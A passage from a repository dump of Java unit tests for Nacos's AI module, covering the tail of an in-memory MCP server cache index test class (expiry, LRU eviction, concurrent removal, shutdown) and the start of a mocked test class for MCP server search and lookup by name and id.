assertEquals(\"id1\", cache.getMcpId(\"ns1\", \"name1\"));\n        assertEquals(\"id3\", cache.getMcpId(\"ns2\", \"name1\"));\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        assertNotNull(cache.getMcpServerById(\"id3\"));\n        \n        assertEquals(2, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveWithInvalidMappingConsistency() {\n        // 准备数据\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        \n        // 验证数据存在\n        assertEquals(\"id1\", cache.getMcpId(\"ns1\", \"name1\"));\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        \n        // 删除名称映射\n        cache.removeIndex(\"ns1\", \"name1\");\n        \n        // 验证数据被完全清理\n        assertNull(cache.getMcpId(\"ns1\", \"name1\"));\n        assertNull(cache.getMcpServerById(\"id1\"));\n        assertEquals(0, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveNonExistentEntries() {\n        // 添加一些数据\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        \n        // 尝试删除不存在的条目\n        cache.removeIndex(\"non-exist-ns\", \"non-exist-name\");\n        cache.removeIndex(\"non-exist-id\");\n        \n        // 验证原有数据不受影响\n        assertEquals(\"id1\", cache.getMcpId(\"ns1\", \"name1\"));\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        assertEquals(1, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveWithNullParameters() {\n        // 添加一些数据\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        \n        // 尝试用null参数删除\n        cache.removeIndex(null, null);\n        cache.removeIndex(\"ns1\", null);\n        cache.removeIndex(null, \"name1\");\n        cache.removeIndex((String) null);\n        \n        // 验证原有数据不受影响\n        assertEquals(\"id1\", cache.getMcpId(\"ns1\", \"name1\"));\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        assertEquals(1, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveWithEmptyParameters() {\n        // 添加一些数据，包括空字符串键\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        cache.updateIndex(\"\", \"\", \"id2\");\n        cache.updateIndex(\"ns2\", \"\", \"id3\");\n        \n        // 删除空字符串键\n        cache.removeIndex(\"\", \"\");\n        \n        // 验证空字符串键的数据被删除\n        assertNull(cache.getMcpId(\"\", \"\"));\n        assertNull(cache.getMcpServerById(\"id2\"));\n        \n        // 验证其他数据不受影响\n        assertEquals(\"id1\", cache.getMcpId(\"ns1\", \"name1\"));\n        assertNull(cache.getMcpId(\"ns2\", \"\"));\n        assertEquals(1, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveAfterEviction() {\n        // 填满缓存\n        cache.updateIndex(\"ns\", \"name1\", \"id1\");\n        cache.updateIndex(\"ns\", \"name2\", \"id2\");\n        cache.updateIndex(\"ns\", \"name3\", \"id3\");\n        \n        // 添加新元素触发淘汰\n        cache.updateIndex(\"ns\", \"name4\", \"id4\");\n        \n        // id1应该被淘汰了（LRU）\n        assertNull(cache.getMcpServerById(\"id1\"));\n        assertEquals(3, cache.getSize());\n        \n        // 尝试删除已被淘汰的元素\n        cache.removeIndex(\"ns\", \"name1\");\n        cache.removeIndex(\"id1\");\n        \n        // 验证缓存大小和其他元素不受影响\n        assertEquals(3, cache.getSize());\n        assertNotNull(cache.getMcpServerById(\"id2\"));\n        assertNotNull(cache.getMcpServerById(\"id3\"));\n        assertNotNull(cache.getMcpServerById(\"id4\"));\n    }\n    \n    @Test\n    void testConcurrentRemoveOperations() throws InterruptedException {\n        int threadCount = 3;\n        int opCount = 10;\n        ExecutorService executor = Executors.newFixedThreadPool(threadCount);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        \n        // 先填充数据\n        for (int i = 0; i < threadCount * opCount; i++) {\n            cache.updateIndex(\"ns\" + (i % 3), \"name\" + i, \"id\" + i);\n        }\n        \n        int initialSize = cache.getSize();\n        \n        // 并发删除操作\n        for (int i = 0; i < threadCount; i++) {\n            int threadIndex = i;\n            executor.submit(() -> {\n                try {\n                    for (int j = 0; j < opCount; j++) {\n                        int index = threadIndex * opCount + j;\n                        if (index % 2 == 0) {\n                            // 通过名称删除\n                            cache.removeIndex(\"ns\" + (index % 3), \"name\" + index);\n                        } else {\n                            // 通过ID删除\n                            cache.removeIndex(\"id\" + index);\n                        }\n                    }\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n        \n        // 等待所有线程完成\n        boolean completed = latch.await(60, TimeUnit.SECONDS);\n        assertTrue(completed, \"All threads should complete within timeout\");\n        \n        executor.shutdown();\n        boolean terminated = executor.awaitTermination(10, TimeUnit.SECONDS);\n        assertTrue(terminated, \"Executor should terminate within timeout\");\n        \n        // 验证所有数据都被删除\n        assertEquals(0, cache.getSize());\n        \n        // 验证缓存仍然可以正常工作\n        cache.updateIndex(\"test\", \"test\", \"test-id\");\n        assertEquals(\"test-id\", cache.getMcpId(\"test\", \"test\"));\n        assertEquals(1, cache.getSize());\n    }\n    \n    // 补充测试用例\n    \n    @Test\n    void testGetMcpIdWithInvalidParameters() {\n        // 测试null参数\n        assertNull(cache.getMcpId(null, \"name\"));\n        assertNull(cache.getMcpId(\"namespace\", null));\n        assertNull(cache.getMcpId(null, null));\n        \n        // 测试空字符串参数\n        assertNull(cache.getMcpId(\"\", \"name\"));\n        assertNull(cache.getMcpId(\"namespace\", \"\"));\n        assertNull(cache.getMcpId(\"\", \"\"));\n    }\n    \n    @Test\n    void testGetMcpIdWithNonExistentEntry() {\n        // 测试不存在的条目\n        assertNull(cache.getMcpId(\"non-existent-namespace\", \"non-existent-name\"));\n    }\n    \n    @Test\n    void testGetMcpIdWithExpiredEntry() throws InterruptedException {\n        // 添加一个条目\n        cache.updateIndex(\"ns\", \"name\", \"id1\");\n        assertEquals(\"id1\", cache.getMcpId(\"ns\", \"name\"));\n        \n        // 等待过期\n        Thread.sleep(2100);\n        \n        // 再次获取应该返回null\n        assertNull(cache.getMcpId(\"ns\", \"name\"));\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithInvalidParameters() {\n        // 测试null参数\n        assertNull(cache.getMcpServerById(null));\n        \n        // 测试空字符串参数\n        assertNull(cache.getMcpServerById(\"\"));\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithNonExistentEntry() {\n        // 测试不存在的条目\n        assertNull(cache.getMcpServerById(\"non-existent-id\"));\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithExpiredEntry() throws InterruptedException {\n        // 添加一个条目\n        cache.updateIndex(\"ns\", \"name\", \"id1\");\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        \n        // 等待过期\n        Thread.sleep(2100);\n        \n        // 再次获取应该返回null\n        assertNull(cache.getMcpServerById(\"id1\"));\n    }\n    \n    @Test\n    void testGetMcpServerByIdUpdatesLru() {\n        // 填满缓存\n        cache.updateIndex(\"ns\", \"name1\", \"id1\");\n        cache.updateIndex(\"ns\", \"name2\", \"id2\");\n        cache.updateIndex(\"ns\", \"name3\", \"id3\");\n        \n        // 访问id1，使其成为最近使用的\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        \n        // 添加新元素，应该淘汰id2而不是id1\n        cache.updateIndex(\"ns\", \"name4\", \"id4\");\n        \n        // 验证id1仍然存在，id2被淘汰\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        assertNull(cache.getMcpServerById(\"id2\"));\n        assertNotNull(cache.getMcpServerById(\"id3\"));\n        assertNotNull(cache.getMcpServerById(\"id4\"));\n    }\n    \n    @Test\n    void testShutdown() {\n        // 添加一些数据\n        cache.updateIndex(\"ns\", \"name\", \"id1\");\n        assertEquals(1, cache.getSize());\n        \n        // 调用shutdown\n        cache.shutdown();\n        \n        // 验证缓存被清空\n        assertEquals(0, cache.getSize());\n        assertNull(cache.getMcpId(\"ns\", \"name\"));\n        assertNull(cache.getMcpServerById(\"id1\"));\n    }\n    \n    @Test\n    void testShutdownTimeout() throws InterruptedException {\n        ScheduledExecutorService executorService = (ScheduledExecutorService) ReflectionTestUtils.getField(cache,\n                \"cleanupScheduler\");\n        executorService.shutdownNow();\n        ScheduledExecutorService mockExecutorService = Mockito.mock(ScheduledExecutorService.class);\n        ReflectionTestUtils.setField(cache, \"cleanupScheduler\", mockExecutorService);\n        cache.shutdown();\n        verify(mockExecutorService).shutdownNow();\n    }\n    \n    @Test\n    void testShutdownWithInterruptedException() throws InterruptedException {\n        ScheduledExecutorService executorService = (ScheduledExecutorService) ReflectionTestUtils.getField(cache,\n                \"cleanupScheduler\");\n        executorService.shutdownNow();\n        ScheduledExecutorService mockExecutorService = Mockito.mock(ScheduledExecutorService.class);\n        when(mockExecutorService.awaitTermination(anyLong(), any())).thenThrow(new InterruptedException());\n        ReflectionTestUtils.setField(cache, \"cleanupScheduler\", mockExecutorService);\n        cache.shutdown();\n        verify(mockExecutorService).shutdownNow();\n    }\n    \n    @Test\n    void testDuplicateShutdown() throws InterruptedException {\n        cache.shutdown();\n        ScheduledExecutorService mockExecutorService = Mockito.mock(ScheduledExecutorService.class);\n        ReflectionTestUtils.setField(cache, \"cleanupScheduler\", mockExecutorService);\n        cache.shutdown();\n        verify(mockExecutorService, never()).awaitTermination(anyLong(), any());\n    }\n    \n    @Test\n    void testNoExpiredEntries() throws InterruptedException {\n        McpCacheIndexProperties shortExpireProps = new McpCacheIndexProperties();\n        shortExpireProps.setMaxSize(100);\n        shortExpireProps.setExpireTimeSeconds(-1); // 1秒过期\n        shortExpireProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex noExpireCache = new MemoryMcpCacheIndex(shortExpireProps);\n        try {\n            noExpireCache.updateIndex(\"ns\", \"name\", \"id1\");\n            assertEquals(\"id1\", noExpireCache.getMcpId(\"ns\", \"name\"));\n            \n            Thread.sleep(1500);\n            assertEquals(\"id1\", noExpireCache.getMcpId(\"ns\", \"name\"));\n        } finally {\n            noExpireCache.shutdown();\n        }\n    }\n    \n    @Test\n    void testCleanupExpiredEntries() throws InterruptedException {\n        // 创建一个具有短过期时间的缓存实例\n        McpCacheIndexProperties shortExpireProps = new McpCacheIndexProperties();\n        shortExpireProps.setMaxSize(100);\n        shortExpireProps.setExpireTimeSeconds(1); // 1秒过期\n        shortExpireProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex shortExpireCache = new MemoryMcpCacheIndex(shortExpireProps);\n        \n        try {\n            // 添加一些条目\n            shortExpireCache.updateIndex(\"ns1\", \"name1\", \"id1\");\n            shortExpireCache.updateIndex(\"ns2\", \"name2\", \"id2\");\n            shortExpireCache.updateIndex(\"ns3\", \"name3\", \"id3\");\n            \n            // 验证条目存在\n            assertEquals(\"id1\", shortExpireCache.getMcpId(\"ns1\", \"name1\"));\n            assertEquals(\"id2\", shortExpireCache.getMcpId(\"ns2\", \"name2\"));\n            assertEquals(\"id3\", shortExpireCache.getMcpId(\"ns3\", \"name3\"));\n            \n            // 等待过期和清理\n            Thread.sleep(1500);\n            \n            // 触发清理（通过获取来间接触发）\n            shortExpireCache.getMcpId(\"ns1\", \"name1\");\n            \n            // 验证过期条目被清理\n            assertNull(shortExpireCache.getMcpId(\"ns1\", \"name1\"));\n            assertNull(shortExpireCache.getMcpId(\"ns2\", \"name2\"));\n            assertNull(shortExpireCache.getMcpId(\"ns3\", \"name3\"));\n            \n            // 验证统计信息\n            McpCacheIndex.CacheStats stats = shortExpireCache.getStats();\n            assertEquals(0, stats.getSize());\n        } finally {\n            shortExpireCache.shutdown();\n        }\n    }\n    \n    @Test\n    void testCleanupExpiredEntriesDoesNotAffectValidEntries() throws InterruptedException {\n        // 创建一个具有不同过期时间的缓存实例\n        McpCacheIndexProperties mixedProps = new McpCacheIndexProperties();\n        mixedProps.setMaxSize(100);\n        mixedProps.setExpireTimeSeconds(2); // 2秒过期\n        mixedProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex mixedCache = new MemoryMcpCacheIndex(mixedProps);\n        \n        try {\n            // 添加一些条目\n            mixedCache.updateIndex(\"ns1\", \"name1\", \"id1\"); // 这个会过期\n            Thread.sleep(1100); // 等待1.1秒\n            mixedCache.updateIndex(\"ns2\", \"name2\", \"id2\"); // 这个不会过期\n            \n            // 验证两个条目都存在\n            assertEquals(\"id1\", mixedCache.getMcpId(\"ns1\", \"name1\"));\n            assertEquals(\"id2\", mixedCache.getMcpId(\"ns2\", \"name2\"));\n            \n            // 再等待1.1秒，使第一个条目过期但第二个不过期\n            Thread.sleep(1100);\n            \n            // 触发清理（通过获取来间接触发）\n            mixedCache.getMcpId(\"ns1\", \"name1\");\n            \n            // 验证只有过期的条目被清理\n            assertNull(mixedCache.getMcpId(\"ns1\", \"name1\"));\n            assertEquals(\"id2\", mixedCache.getMcpId(\"ns2\", \"name2\"));\n            \n            // 验证统计数据\n            McpCacheIndex.CacheStats stats = mixedCache.getStats();\n            assertEquals(1, stats.getSize());\n        } finally {\n            mixedCache.shutdown();\n        }\n    }\n    \n    @Test\n    void testConcurrentAccessDuringCleanup() throws InterruptedException {\n        // 创建一个具有短过期时间的缓存实例\n        McpCacheIndexProperties concurrentProps = new McpCacheIndexProperties();\n        concurrentProps.setMaxSize(100);\n        concurrentProps.setExpireTimeSeconds(1); // 1秒过期\n        concurrentProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex concurrentCache = new MemoryMcpCacheIndex(concurrentProps);\n        \n        try {\n            int threadCount = 5;\n            int opCount = 20;\n            ExecutorService executor = Executors.newFixedThreadPool(threadCount);\n            CountDownLatch latch = new CountDownLatch(threadCount);\n            \n            // 添加初始数据\n            for (int i = 0; i < opCount; i++) {\n                concurrentCache.updateIndex(\"ns\", \"name\" + i, \"id\" + i);\n            }\n            \n            // 并发执行读写和清理操作\n            for (int i = 0; i < threadCount; i++) {\n                final int threadIndex = i;\n                executor.submit(() -> {\n                    try {\n                        for (int j = 0; j < opCount; j++) {\n                            int index = threadIndex * opCount + j;\n                            \n                            // 读取操作\n                            concurrentCache.getMcpId(\"ns\", \"name\" + (index % opCount));\n                            concurrentCache.getMcpServerById(\"id\" + (index % opCount));\n                            \n                            // 写入操作\n                            concurrentCache.updateIndex(\"ns\", \"newname\" + index, \"newid\" + index);\n                            \n                            // 删除操作\n                            if (index % 2 == 0) {\n                                concurrentCache.removeIndex(\"ns\", \"newname\" + index);\n                            } else {\n                                concurrentCache.removeIndex(\"newid\" + index);\n                            }\n                        }\n                    } catch (Exception e) {\n                        // 忽略并发访问中可能发生的异常\n                    } finally {\n                        latch.countDown();\n                    }\n                });\n            }\n            \n            // 等待所有线程完成\n            boolean completed = latch.await(30, TimeUnit.SECONDS);\n            assertTrue(completed, \"All threads should complete within timeout\");\n            \n            executor.shutdown();\n            boolean terminated = executor.awaitTermination(10, TimeUnit.SECONDS);\n            assertTrue(terminated, \"Executor should terminate within timeout\");\n            \n            // 验证缓存仍然可以正常工作\n            concurrentCache.updateIndex(\"final\", \"final\", \"final-id\");\n            assertEquals(\"final-id\", concurrentCache.getMcpId(\"final\", \"final\"));\n        } finally {\n            concurrentCache.shutdown();\n        }\n    }\n    \n    @Test\n    void testCleanupExpiredEntriesWithException() throws InterruptedException {\n        McpCacheIndexProperties concurrentProps = new McpCacheIndexProperties();\n        concurrentProps.setMaxSize(100);\n        concurrentProps.setExpireTimeSeconds(1); // 1秒过期\n        concurrentProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex testCache = new MemoryMcpCacheIndex(concurrentProps);\n        try {\n            testCache.updateIndex(\"ns\", \"name\", \"id\");\n            ReflectionTestUtils.setField(testCache, \"properties\", null);\n            TimeUnit.MILLISECONDS.sleep(1100);\n        } finally {\n            testCache.shutdown();\n        }\n    }\n    \n    @Test\n    void testCleanupExpiredEntriesAfterShutdown() throws InterruptedException {\n        McpCacheIndexProperties concurrentProps = new McpCacheIndexProperties();\n        concurrentProps.setMaxSize(100);\n        concurrentProps.setExpireTimeSeconds(1); // 1秒过期\n        concurrentProps.setCleanupIntervalSeconds(1);\n        MemoryMcpCacheIndex testCache = new MemoryMcpCacheIndex(concurrentProps);\n        try {\n            ReflectionTestUtils.setField(testCache, \"shutdown\", true);\n            TimeUnit.MILLISECONDS.sleep(1100);\n        } finally {\n            ScheduledExecutorService cleanupScheduler = (ScheduledExecutorService) ReflectionTestUtils.getField(testCache,\n                    \"cleanupScheduler\");\n            cleanupScheduler.shutdownNow();\n        }\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/index/PlainMcpServerIndexTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerVersionInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyMap;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass PlainMcpServerIndexTest {\n    \n    @Mock\n    private ConfigDetailService configDetailService;\n    \n    @Mock\n    private NamespaceOperationService namespaceOperationService;\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    PlainMcpServerIndex plainMcpServerIndex;\n    \n    @BeforeEach\n    void setUp() {\n        plainMcpServerIndex = new PlainMcpServerIndex(namespaceOperationService, configDetailService,\n                configQueryChainService);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void searchMcpServerByNameWithNamespaceIdByAccurateNotFound() {\n        Page<ConfigInfo> searchPage = mockConfigInfo(0, 0, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(10), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", Constants.MCP_LIST_SEARCH_ACCURATE, 1, 10);\n        assertEquals(0, result.getTotalCount());\n        assertEquals(1, result.getPageNumber());\n        assertEquals(0, result.getPagesAvailable());\n        assertEquals(0, result.getPageItems().size());\n    }\n    \n    @Test\n    void searchMcpServerByNameWithNamespaceIdByAccurate() {\n        Page<ConfigInfo> searchPage = mockConfigInfo(1, 1, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(10), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", Constants.MCP_LIST_SEARCH_ACCURATE, 1, 10);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageNumber());\n        assertEquals(1, result.getPagesAvailable());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void searchMcpServerByNameWithNamespaceIdByBlur() {\n        Page<ConfigInfo> searchPage = mockConfigInfo(10, 10, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), eq(\"*\"),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_BLUR, 1, 10);\n        assertEquals(10, result.getTotalCount());\n        assertEquals(1, result.getPageNumber());\n        assertEquals(1, result.getPagesAvailable());\n        assertEquals(10, result.getPageItems().size());\n    }\n    \n    @Test\n    void searchMcpServerByNameWithMultiplePagesFirstPage() {\n        Page<ConfigInfo> searchPage = mockConfigInfoWithPagination(25, 10, 1, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), eq(\"*\"),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        \n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_BLUR, 1, 10);\n        \n        assertEquals(25, result.getTotalCount());\n        assertEquals(1, result.getPageNumber());\n        assertEquals(3, result.getPagesAvailable());\n        assertEquals(10, result.getPageItems().size());\n    }\n    \n    @Test\n    void searchMcpServerByNameWithMultiplePagesSecondPage() {\n        Page<ConfigInfo> searchPage = mockConfigInfoWithPagination(25, 10, 2, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(2), eq(10), eq(\"*\"),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        \n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_BLUR, 2, 10);\n        \n        assertEquals(25, result.getTotalCount());\n        assertEquals(2, result.getPageNumber());\n        assertEquals(3, result.getPagesAvailable());\n        assertEquals(10, result.getPageItems().size());\n    }\n    \n    @Test\n    void searchMcpServerByNameWithMultiplePagesLastPage() {\n        Page<ConfigInfo> searchPage = mockConfigInfoWithPagination(25, 5, 3, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(3), eq(10), eq(\"*\"),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(searchPage);\n        \n        Page<McpServerIndexData> result = plainMcpServerIndex.searchMcpServerByNameWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_BLUR, 3, 10);\n        \n        assertEquals(25, result.getTotalCount());\n        assertEquals(3, result.getPageNumber());\n        assertEquals(3, result.getPagesAvailable());\n        assertEquals(5, result.getPageItems().size());\n    }\n    \n    @Test\n    void getMcpServerByIdWithEmptyId() {\n        assertNull(plainMcpServerIndex.getMcpServerById(\"\"));\n    }\n    \n    @Test\n    void getMcpServerByIdNotFound() {\n        String id = UUID.randomUUID().toString();\n        when(namespaceOperationService.getNamespaceList()).thenReturn(mockNamespaceList(1, false));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(null));\n        assertNull(plainMcpServerIndex.getMcpServerById(id));\n    }\n    \n    @Test\n    void getMcpServerByIdFound() {\n        String id = UUID.randomUUID().toString();\n        when(namespaceOperationService.getNamespaceList()).thenReturn(mockNamespaceList(1, false));\n        McpServerBasicInfo mcpServerBasicInfo = mockServerVersionInfo(id);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(mcpServerBasicInfo));\n        McpServerIndexData result = plainMcpServerIndex.getMcpServerById(id);\n        assertEquals(id, result.getId());\n        assertEquals(\"namespaceId-0\", result.getNamespaceId());\n    }\n    \n    @Test\n    void getMcpServerByNameNotFound() {\n        Page<ConfigInfo> countPage = mockConfigInfo(0, 0, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(countPage);\n        assertNull(plainMcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\"));\n    }\n    \n    @Test\n    void getMcpServerByNameFound() {\n        Page<ConfigInfo> countPage = mockConfigInfo(1, 1, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                anyMap())).thenReturn(countPage);\n        McpServerIndexData result = plainMcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                \"mcpName\");\n        assertNotNull(result);\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertDoesNotThrow(() -> UUID.fromString(result.getId()));\n    }\n    \n    @Test\n    void removeMcpServerByName() {\n        assertDoesNotThrow(\n                () -> plainMcpServerIndex.removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\"));\n    }\n    \n    @Test\n    void removeMcpServerById() {\n        assertDoesNotThrow(() -> plainMcpServerIndex.removeMcpServerById(UUID.randomUUID().toString()));\n    }\n    \n    private ConfigQueryChainResponse mockConfigQueryChainResponse(Object obj) {\n        ConfigQueryChainResponse mockResponse = new ConfigQueryChainResponse();\n        if (null != obj) {\n            mockResponse.setContent(JacksonUtils.toJson(obj));\n            mockResponse.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        } else {\n            mockResponse.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        }\n        return mockResponse;\n    }\n    \n    private List<Namespace> mockNamespaceList(int size, boolean withDefaultNs) {\n        List<Namespace> list = new LinkedList<>();\n        if (withDefaultNs) {\n            Namespace namespace = new Namespace();\n            namespace.setNamespace(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n            namespace.setNamespaceShowName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n            list.add(namespace);\n        }\n        size = withDefaultNs ? size - 1 : size;\n        for (int i = 0; i < size; i++) {\n            Namespace namespace = new Namespace();\n            namespace.setNamespace(\"namespaceId-\" + i);\n            namespace.setNamespaceShowName(\"namespace-\" + i);\n            list.add(namespace);\n        }\n        return list;\n    }\n    \n    private Page<ConfigInfo> mockConfigInfo(int total, int size, String namespaceId) {\n        Page<ConfigInfo> mockConfigInfo = new Page<>();\n        mockConfigInfo.setTotalCount(total);\n        mockConfigInfo.setPagesAvailable(size == 0 ? 0 : total / size);\n        mockConfigInfo.setPageNumber(1);\n        List<ConfigInfo> list = new LinkedList<>();\n        for (int i = 0; i < size; i++) {\n            ConfigInfo configInfo = new ConfigInfo();\n            configInfo.setTenant(namespaceId);\n            configInfo.setContent(JacksonUtils.toJson(mockServerVersionInfo(UUID.randomUUID().toString())));\n            list.add(configInfo);\n        }\n        mockConfigInfo.setPageItems(list);\n        return mockConfigInfo;\n    }\n    \n    private Page<ConfigInfo> mockConfigInfoWithPagination(int total, int currentPageSize, int pageNumber,\n            String namespaceId) {\n        Page<ConfigInfo> mockConfigInfo = new Page<>();\n        mockConfigInfo.setTotalCount(total);\n        mockConfigInfo.setPageNumber(pageNumber);\n        mockConfigInfo.setPagesAvailable((int) Math.ceil((double) total / (double) currentPageSize));\n        \n        